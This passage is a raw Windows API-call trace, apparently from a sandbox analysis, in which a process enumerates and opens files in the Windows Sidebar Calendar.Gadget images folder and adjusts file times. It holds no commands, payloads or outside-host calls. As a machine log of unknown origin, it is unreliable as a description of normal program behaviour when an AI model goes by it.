[0080.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123ebf0) returned 1 [0080.463] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123eae8) returned 1 [0080.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e9e0) returned 1 [0080.463] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0080.463] GetLastError () returned 0x12 [0080.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e5c0) returned 1 [0080.464] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e6c8) returned 1 [0080.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x123e4b8) returned 1 [0080.464] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.464] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.464] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0080.464] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.465] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.465] NtClose (Handle=0x174) returned 0x0 [0080.465] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.465] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e4b8 [0080.466] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.466] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e6c8 [0080.466] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.467] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0080.467] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e5c0 [0080.468] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4a30 [0080.468] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123e9e0 [0080.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.469] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0080.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4a50 [0080.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123eae8 [0080.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.470] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0080.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4a70 [0080.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ebf0 [0080.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.471] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-disable.png", cAlternateFileName="")) returned 1 [0080.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4a90 [0080.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123ef08 [0080.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.472] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82353ae7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82353ae7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28181a23, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-down.png", cAlternateFileName="")) returned 1 [0080.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4ab0 [0080.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x123f010 [0080.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.473] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82379c44, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82379c44, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext-hot.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x281a7b81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-disable.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239fda1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8239fda1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x199, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-down.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28219f9b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x23e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev-hot.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x282400f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824845cf, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824845cf, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824aa72c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824aa72c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_bkg.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28266257, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_double_orange.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824d0889, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824d0889, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2828c3b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_ring_docked.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824f69e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824f69e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283bcea5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xaa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar_single_orange.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82542ca0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82542ca0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824121b8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824121b8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0080.474] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28409161, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0x0, cFileName="curl.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="month.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82438315, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82438315, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2842f2bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-desk.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2847b57b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8245e472, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8245e472, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2847b57b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rings-dock.png", cAlternateFileName="")) returned 0 [0080.475] GetLastError () returned 0x12 [0080.475] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.475] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 1 [0080.475] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: 